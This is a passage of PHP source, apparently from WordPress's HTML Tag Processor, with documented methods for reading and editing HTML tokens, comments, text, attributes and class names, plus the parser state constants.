	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return $this->get_tag();

			case self::STATE_TEXT_NODE:
				return '#text';

			case self::STATE_CDATA_NODE:
				return '#cdata-section';

			case self::STATE_COMMENT:
				return '#comment';

			case self::STATE_DOCTYPE:
				return 'html';

			case self::STATE_PRESUMPTUOUS_TAG:
				return '#presumptuous-tag';

			case self::STATE_FUNKY_COMMENT:
				return '#funky-comment';
		}

		return null;
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.5.0
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		return $this->comment_type;
	}

	/**
	 * Returns the text of a matched comment or null if not on a comment type node.
	 *
	 * This method returns the entire text content of a comment node as it
	 * would appear in the browser.
	 *
	 * This differs from {@see ::get_modifiable_text()} in that certain comment
	 * types in the HTML API cannot allow their entire comment text content to
	 * be modified. Namely, "bogus comments" of the form `<?not allowed in html>`
	 * will create a comment whose text content starts with `?`. Note that if
	 * that character were modified, it would be possible to change the node
	 * type.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null The comment text as it would appear in the browser or null
	 *                     if not on a comment type node.
	 */
	public function get_full_comment_text(): ?string {
		if ( self::STATE_FUNKY_COMMENT === $this->parser_state ) {
			return $this->get_modifiable_text();
		}

		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		switch ( $this->get_comment_type() ) {
			case self::COMMENT_AS_HTML_COMMENT:
			case self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT:
				return $this->get_modifiable_text();

			case self::COMMENT_AS_CDATA_LOOKALIKE:
				return "[CDATA[{$this->get_modifiable_text()}]]";

			case self::COMMENT_AS_PI_NODE_LOOKALIKE:
				return "?{$this->get_tag()}{$this->get_modifiable_text()}?";

			/*
			 * This represents "bogus comments state" from HTML tokenization.
			 * This can be entered by `<?` or `<!`, where `?` is included in
			 * the comment text but `!` is not.
			 */
			case self::COMMENT_AS_INVALID_HTML:
				$preceding_character = $this->html[ $this->text_starts_at - 1 ];
				$comment_start       = '?' === $preceding_character ? '?' : '';
				return "{$comment_start}{$this->get_modifiable_text()}";
		}

		return null;
	}

	/**
	 * Subdivides a matched text node, splitting NULL byte sequences and decoded whitespace as
	 * distinct nodes prefixes.
	 *
	 * Note that once anything that's neither a NULL byte nor decoded whitespace is
	 * encountered, then the remainder of the text node is left intact as generic text.
	 *
	 *  - The HTML Processor uses this to apply distinct rules for different kinds of text.
	 *  - Inter-element whitespace can be detected and skipped with this method.
	 *
	 * Text nodes aren't eagerly subdivided because there's no need to split them unless
	 * decisions are being made on NULL byte sequences or whitespace-only text.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "\x00Apples & Oranges" );
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "".
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "&#x13; \r\n\tMore" );
	 *     true  === $processor->next_token();                   // Text is "␤ ␤␉More".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "␤ ␤␉".
	 *     true  === $processor->next_token();                   // Text is "More".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 * @since 6.7.0
	 *
	 * @return bool Whether the text node was subdivided.
	 */
	public function subdivide_text_appropriately(): bool {
		if ( self::STATE_TEXT_NODE !== $this->parser_state ) {
			return false;
		}

		$this->text_node_classification = self::TEXT_IS_GENERIC;

		/*
		 * NULL bytes are treated categorically different than numeric character
		 * references whose number is zero. `&#x00;` is not the same as `"\x00"`.
		 */
		$leading_nulls = strspn( $this->html, "\x00", $this->text_starts_at, $this->text_length );
		if ( $leading_nulls > 0 ) {
			$this->token_length             = $leading_nulls;
			$this->text_length              = $leading_nulls;
			$this->bytes_already_parsed     = $this->token_starts_at + $leading_nulls;
			$this->text_node_classification = self::TEXT_IS_NULL_SEQUENCE;
			return true;
		}

		/*
		 * Start a decoding loop to determine the point at which the
		 * text subdivides. This entails raw whitespace bytes and any
		 * character reference that decodes to the same.
		 */
		$at  = $this->text_starts_at;
		$end = $this->text_starts_at + $this->text_length;
		while ( $at < $end ) {
			$skipped = strspn( $this->html, " \t\f\r\n", $at, $end - $at );
			$at     += $skipped;

			if ( $at < $end && '&' === $this->html[ $at ] ) {
				$matched_byte_length = null;
				$replacement         = WP_HTML_Decoder::read_character_reference( 'data', $this->html, $at, $matched_byte_length );
				if ( isset( $replacement ) && 1 === strspn( $replacement, " \t\f\r\n" ) ) {
					$at += $matched_byte_length;
					continue;
				}
			}

			break;
		}

		if ( $at > $this->text_starts_at ) {
			$new_length                     = $at - $this->text_starts_at;
			$this->text_length              = $new_length;
			$this->token_length             = $new_length;
			$this->bytes_already_parsed     = $at;
			$this->text_node_classification = self::TEXT_IS_WHITESPACE;
			return true;
		}

		return false;
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * Limitations:
	 *
	 *  - This function will not strip the leading newline appropriately
	 *    after seeking into a LISTING or PRE element. To ensure that the
	 *    newline is treated properly, seek to the LISTING or PRE opening
	 *    tag instead of to the first text node inside the element.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Replaces NULL bytes (U+0000) and newlines appropriately.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		$has_enqueued_update = isset( $this->lexical_updates['modifiable text'] );

		if ( ! $has_enqueued_update && ( null === $this->text_starts_at || 0 === $this->text_length ) ) {
			return '';
		}

		$text = $has_enqueued_update
			? $this->lexical_updates['modifiable text']->text
			: substr( $this->html, $this->text_starts_at, $this->text_length );

		/*
		 * Pre-processing the input stream would normally happen before
		 * any parsing is done, but deferring it means it's possible to
		 * skip in most cases. When getting the modifiable text, however
		 * it's important to apply the pre-processing steps, which is
		 * normalizing newlines.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$text = str_replace( "\r\n", "\n", $text );
		$text = str_replace( "\r", "\n", $text );

		// Comment data is not decoded.
		if (
			self::STATE_CDATA_NODE === $this->parser_state ||
			self::STATE_COMMENT === $this->parser_state ||
			self::STATE_DOCTYPE === $this->parser_state ||
			self::STATE_FUNKY_COMMENT === $this->parser_state
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$tag_name = $this->get_token_name();
		if (
			// Script data is not decoded.
			'SCRIPT' === $tag_name ||

			// RAWTEXT data is not decoded.
			'IFRAME' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'STYLE' === $tag_name ||
			'XMP' === $tag_name
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$decoded = WP_HTML_Decoder::decode_text_node( $text );

		/*
		 * Skip the first line feed after LISTING, PRE, and TEXTAREA opening tags.
		 *
		 * Note that this first newline may come in the form of a character
		 * reference, such as `&#x0a;`, and so it's important to perform
		 * this transformation only after decoding the raw text content.
		 */
		if (
			( "\n" === ( $decoded[0] ?? '' ) ) &&
			( ( $this->skip_newline_at === $this->token_starts_at && '#text' === $tag_name ) || 'TEXTAREA' === $tag_name )
		) {
			$decoded = substr( $decoded, 1 );
		}

		/*
		 * Only in normative text nodes does the NULL byte (U+0000) get removed.
		 * In all other contexts it's replaced by the replacement character (U+FFFD)
		 * for security reasons (to avoid joining together strings that were safe
		 * when separated, but not when joined).
		 *
		 * @todo Inside HTML integration points and MathML integration points, the
		 *       text is processed according to the insertion mode, not according
		 *       to the foreign content rules. This should strip the NULL bytes.
		 */
		return ( '#text' === $tag_name && 'html' === $this->get_namespace() )
			? str_replace( "\x00", '', $decoded )
			: str_replace( "\x00", "\u{FFFD}", $decoded );
	}

	/**
	 * Sets the modifiable text for the matched token, if matched.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * Not all modifiable text may be set by this method, and not all content
	 * may be set as modifiable text. In the case that this fails it will return
	 * `false` indicating as much. For instance, it will not allow inserting the
	 * string `</script` into a SCRIPT element, because the rules for escaping
	 * that safely are complicated. Similarly, it will not allow setting content
	 * into a comment which would prematurely terminate the comment.
	 *
	 * Example:
	 *
	 *     // Add a preface to all STYLE contents.
	 *     while ( $processor->next_tag( 'STYLE' ) ) {
	 *         $style = $processor->get_modifiable_text();
	 *         $processor->set_modifiable_text( "// Made with love on the World Wide Web\n{$style}" );
	 *     }
	 *
	 *     // Replace smiley text with Emoji smilies.
	 *     while ( $processor->next_token() ) {
	 *         if ( '#text' !== $processor->get_token_name() ) {
	 *             continue;
	 *         }
	 *
	 *         $chunk = $processor->get_modifiable_text();
	 *         if ( ! str_contains( $chunk, ':)' ) ) {
	 *             continue;
	 *         }
	 *
	 *         $processor->set_modifiable_text( str_replace( ':)', '🙂', $chunk ) );
	 *     }
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders as “Eggs & Milk” in a browser, encoded as `<p>Eggs &amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs & Milk' );
	 *
	 *     // Renders as “Eggs &amp; Milk” in a browser, encoded as `<p>Eggs &amp;amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs &amp; Milk' );
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string $plaintext_content New text content to represent in the matched token.
	 * @return bool Whether the text was able to update.
	 */
	public function set_modifiable_text( string $plaintext_content ): bool {
		if ( self::STATE_TEXT_NODE === $this->parser_state ) {
			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				strtr(
					$plaintext_content,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				)
			);

			return true;
		}

		// Comment data is not encoded.
		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_HTML_COMMENT === $this->comment_type
		) {
			// Check if the text could close the comment.
			if ( 1 === preg_match( '/--!?>/', $plaintext_content ) ) {
				return false;
			}

			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				$plaintext_content
			);

			return true;
		}

		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		switch ( $this->get_tag() ) {
			case 'SCRIPT':
				/**
				 * This is over-protective, but ensures the update doesn't break
				 * the HTML structure of the SCRIPT element.
				 *
				 * More thorough analysis could track the HTML tokenizer states
				 * and to ensure that the SCRIPT element closes at the expected
				 * SCRIPT close tag as is done in {@see ::skip_script_data()}.
				 *
				 * A SCRIPT element could be closed prematurely by contents
				 * like `</script>`. A SCRIPT element could be prevented from
				 * closing by contents like `<!--<script>`.
				 *
				 * The following strings are essential for dangerous content,
				 * although they are insufficient on their own. This trade-off
				 * prevents dangerous scripts from being sent to the browser.
				 * It is also unlikely to produce HTML that may confuse more
				 * basic HTML tooling.
				 */
				if (
					false !== stripos( $plaintext_content, '</script' ) ||
					false !== stripos( $plaintext_content, '<script' )
				) {
					return false;
				}

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'STYLE':
				$plaintext_content = preg_replace_callback(
					'~</(?P<TAG_NAME>style)~i',
					static function ( $tag_match ) {
						return "\\3c\\2f{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'TEXTAREA':
			case 'TITLE':
				$plaintext_content = preg_replace_callback(
					"~</(?P<TAG_NAME>{$this->get_tag()})~i",
					static function ( $tag_match ) {
						return "&lt;/{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				/*
				 * These don't _need_ to be escaped, but since they are decoded it's
				 * safe to leave them escaped and this can prevent other code from
				 * naively detecting tags within the contents.
				 *
				 * @todo It would be useful to prefix a multiline replacement text
				 *       with a newline, but not necessary. This is for aesthetics.
				 */
				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;
		}

		return false;
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Fix: Only create a single update for multiple calls with case-variant attribute names.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		$name_length = strlen( $name );

		/**
		 * WordPress rejects more characters than are strictly forbidden
		 * in HTML5. This is to prevent additional security risks deeper
		 * in the WordPress and plugin stack. Specifically the following
		 * are not allowed to be set as part of an HTML attribute name:
		 *
		 *  - greater-than “>”
		 *  - ampersand “&”
		 *
		 * @see https://html.spec.whatwg.org/#attributes-2
		 */
		if (
			0 === $name_length ||
			// Syntax-like characters.
			strcspn( $name, '"\'>&</ =' ) !== $name_length ||
			// Control characters.
			strcspn(
				$name,
				"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" .
				"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"
			) !== $name_length ||
			// Unicode noncharacters.
			wp_has_noncharacters( $name )
		) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Invalid attribute name.' ),
				'6.2.0'
			);

			return false;
		}

		/*
		 * > The values "true" and "false" are not allowed on boolean attributes.
		 * > To represent a false value, the attribute has to be omitted altogether.
		 *     - HTML5 spec, https://html.spec.whatwg.org/#boolean-attributes
		 */
		if ( false === $value ) {
			return $this->remove_attribute( $name );
		}

		if ( true === $value ) {
			$updated_attribute = $name;
		} else {
			$comparable_name = strtolower( $name );

			/**
			 * Escape attribute values appropriately.
			 *
			 * @see https://html.spec.whatwg.org/#attributes-3
			 */
			$escaped_new_value = in_array( $comparable_name, wp_kses_uri_attributes(), true )
				? esc_url( $value )
				: strtr(
					$value,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				);

			// If the escaping functions wiped out the update, reject it and indicate it was rejected.
			if ( '' === $escaped_new_value && '' !== $value ) {
				return false;
			}

			$updated_attribute = "{$name}=\"{$escaped_new_value}\"";
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $name );

		if ( isset( $this->attributes[ $comparable_name ] ) ) {
			/*
			 * Update an existing attribute.
			 *
			 * Example – set attribute id to "new" in <div id="initial_id" />:
			 *
			 *     <div id="initial_id"/>
			 *          ^-------------^
			 *          start         end
			 *     replacement: `id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$existing_attribute                        = $this->attributes[ $comparable_name ];
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$existing_attribute->start,
				$existing_attribute->length,
				$updated_attribute
			);
		} else {
			/*
			 * Create a new attribute at the tag's name end.
			 *
			 * Example – add attribute id="new" to <div />:
			 *
			 *     <div/>
			 *         ^
			 *         start and end
			 *     replacement: ` id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$this->tag_name_starts_at + $this->tag_name_length,
				0,
				' ' . $updated_attribute
			);
		}

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $comparable_name && ! empty( $this->classname_updates ) ) {
			$this->classname_updates = array();
		}

		return true;
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$name = strtolower( $name );

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $name && count( $this->classname_updates ) !== 0 ) {
			$this->classname_updates = array();
		}

		/*
		 * If updating an attribute that didn't exist in the input
		 * document, then remove the enqueued update and move on.
		 *
		 * For example, this might occur when calling `remove_attribute()`
		 * after calling `set_attribute()` for the same attribute
		 * and when that attribute wasn't originally present.
		 */
		if ( ! isset( $this->attributes[ $name ] ) ) {
			if ( isset( $this->lexical_updates[ $name ] ) ) {
				unset( $this->lexical_updates[ $name ] );
			}
			return false;
		}

		/*
		 * Removes an existing tag attribute.
		 *
		 * Example – remove the attribute id from <div id="main"/>:
		 *    <div id="initial_id"/>
		 *         ^-------------^
		 *         start         end
		 *    replacement: ``
		 *
		 *    Result: <div />
		 */
		$this->lexical_updates[ $name ] = new WP_HTML_Text_Replacement(
			$this->attributes[ $name ]->start,
			$this->attributes[ $name ]->length,
			''
		);

		// Removes any duplicated attributes if they were also present.
		foreach ( $this->duplicate_attributes[ $name ] ?? array() as $attribute_token ) {
			$this->lexical_updates[] = new WP_HTML_Text_Replacement(
				$attribute_token->start,
				$attribute_token->length,
				''
			);
		}

		return true;
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::ADD_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::ADD_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::ADD_CLASS;
		return true;
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::REMOVE_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
		return true;
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::get_updated_html()
	 *
	 * @return string The processed HTML.
	 */
	public function __toString(): string {
		return $this->get_updated_html();
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Shifts the internal cursor corresponding to the applied updates.
	 * @since 6.4.0 No longer calls subclass method `next_tag()` after updating HTML.
	 *
	 * @return string The processed HTML.
	 */
	public function get_updated_html(): string {
		$requires_no_updating = 0 === count( $this->classname_updates ) && 0 === count( $this->lexical_updates );

		/*
		 * When there is nothing more to update and nothing has already been
		 * updated, return the original document and avoid a string copy.
		 */
		if ( $requires_no_updating ) {
			return $this->html;
		}

		/*
		 * Keep track of the position right before the current tag. This will
		 * be necessary for reparsing the current tag after updating the HTML.
		 */
		$before_current_tag = $this->token_starts_at ?? 0;

		/*
		 * 1. Apply the enqueued edits and update all the pointers to reflect those changes.
		 */
		$this->class_name_updates_to_attributes_updates();
		$before_current_tag += $this->apply_attributes_updates( $before_current_tag );

		/*
		 * 2. Rewind to before the current tag and reparse to get updated attributes.
		 *
		 * At this point the internal cursor points to the end of the tag name.
		 * Rewind before the tag name starts so that it's as if the cursor didn't
		 * move; a call to `next_tag()` will reparse the recently-updated attributes
		 * and additional calls to modify the attributes will apply at this same
		 * location, but in order to avoid issues with subclasses that might add
		 * behaviors to `next_tag()`, the internal methods should be called here
		 * instead.
		 *
		 * It's important to note that in this specific place there will be no change
		 * because the processor was already at a tag when this was called and it's
		 * rewinding only to the beginning of this very tag before reprocessing it
		 * and its attributes.
		 *
		 * <p>Previous HTML<em>More HTML</em></p>
		 *                 ↑  │ back up by the length of the tag name plus the opening <
		 *                 └←─┘ back up by strlen("em") + 1 ==> 3
		 */
		$this->bytes_already_parsed = $before_current_tag;
		$this->base_class_next_token();

		return $this->html;
	}

	/**
	 * Parses tag query input into internal search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this class name to match.
	 *     @type string      $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 */
	private function parse_query( $query ) {
		if ( null !== $query && $query === $this->last_query ) {
			return;
		}

		$this->last_query          = $query;
		$this->sought_tag_name     = null;
		$this->sought_class_name   = null;
		$this->sought_match_offset = 1;
		$this->stop_on_tag_closers = false;

		// A single string value means "find the tag of this name".
		if ( is_string( $query ) ) {
			$this->sought_tag_name = $query;
			return;
		}

		// An empty query parameter applies no restrictions on the search.
		if ( null === $query ) {
			return;
		}

		// If not using the string interface, an associative array is required.
		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The query argument must be an array or a tag name.' ),
				'6.2.0'
			);
			return;
		}

		if ( isset( $query['tag_name'] ) && is_string( $query['tag_name'] ) ) {
			$this->sought_tag_name = $query['tag_name'];
		}

		if ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) ) {
			$this->sought_class_name = $query['class_name'];
		}

		if ( isset( $query['match_offset'] ) && is_int( $query['match_offset'] ) && 0 < $query['match_offset'] ) {
			$this->sought_match_offset = $query['match_offset'];
		}

		if ( isset( $query['tag_closers'] ) ) {
			$this->stop_on_tag_closers = 'visit' === $query['tag_closers'];
		}
	}


	/**
	 * Checks whether a given tag and its attributes match the search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the given tag and its attribute match the search criteria.
	 */
	private function matches(): bool {
		if ( $this->is_closing_tag && ! $this->stop_on_tag_closers ) {
			return false;
		}

		// Does the tag name match the requested tag name in a case-insensitive manner?
		if (
			isset( $this->sought_tag_name ) &&
			(
				strlen( $this->sought_tag_name ) !== $this->tag_name_length ||
				0 !== substr_compare( $this->html, $this->sought_tag_name, $this->tag_name_starts_at, $this->tag_name_length, true )
			)
		) {
			return false;
		}

		if ( null !== $this->sought_class_name && ! $this->has_class( $this->sought_class_name ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Gets DOCTYPE declaration info from a DOCTYPE token.
	 *
	 * DOCTYPE tokens may appear in many places in an HTML document. In most places, they are
	 * simply ignored. The main parsing functions find the basic shape of DOCTYPE tokens but
	 * do not perform detailed parsing.
	 *
	 * This method can be called to perform a full parse of the DOCTYPE token and retrieve
	 * its information.
	 *
	 * @return WP_HTML_Doctype_Info|null The DOCTYPE declaration information or `null` if not
	 *                                   currently at a DOCTYPE node.
	 */
	public function get_doctype_info(): ?WP_HTML_Doctype_Info {
		if ( self::STATE_DOCTYPE !== $this->parser_state ) {
			return null;
		}

		return WP_HTML_Doctype_Info::from_doctype_token( substr( $this->html, $this->token_starts_at, $this->token_length ) );
	}

	/**
	 * Parser Ready State.
	 *
	 * Indicates that the parser is ready to run and waiting for a state transition.
	 * It may not have started yet, or it may have just finished parsing a token and
	 * is ready to find the next one.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_READY = 'STATE_READY';

	/**
	 * Parser Complete State.
	 *
	 * Indicates that the parser has reached the end of the document and there is
	 * nothing left to scan. It finished parsing the last token completely.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMPLETE = 'STATE_COMPLETE';

	/**
	 * Parser Incomplete Input State.
	 *
	 * Indicates that the parser has reached the end of the document before finishing
	 * a token. It started parsing a token but there is a possibility that the input
	 * HTML document was truncated in the middle of a token.
	 *
	 * The parser is reset at the start of the incomplete token and has paused. There
	 * is nothing more than can be scanned unless provided a more complete document.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_INCOMPLETE_INPUT = 'STATE_INCOMPLETE_INPUT';

	/**
	 * Parser Matched Tag State.
	 *
	 * Indicates that the parser has found an HTML tag and it's possible to get
	 * the tag name and read or modify its attributes (if it's not a closing tag).
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_MATCHED_TAG = 'STATE_MATCHED_TAG';

	/**
	 * Parser Text Node State.
	 *
	 * Indicates that the parser has found a text node and it's possible
	 * to read and modify that text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_TEXT_NODE = 'STATE_TEXT_NODE';

	/**
	 * Parser CDATA Node State.
	 *
	 * Indicates that the parser has found a CDATA node and it's possible
	 * to read and modify its modifiable text. Note that in HTML there are
	 * no CDATA nodes outside of foreign content (SVG and MathML). Outside
	 * of foreign content, they are treated as HTML comments.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_CDATA_NODE = 'STATE_CDATA_NODE';

	/**
	 * Indicates that the parser has found an HTML comment and it's
	 * possible to read and modify its modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
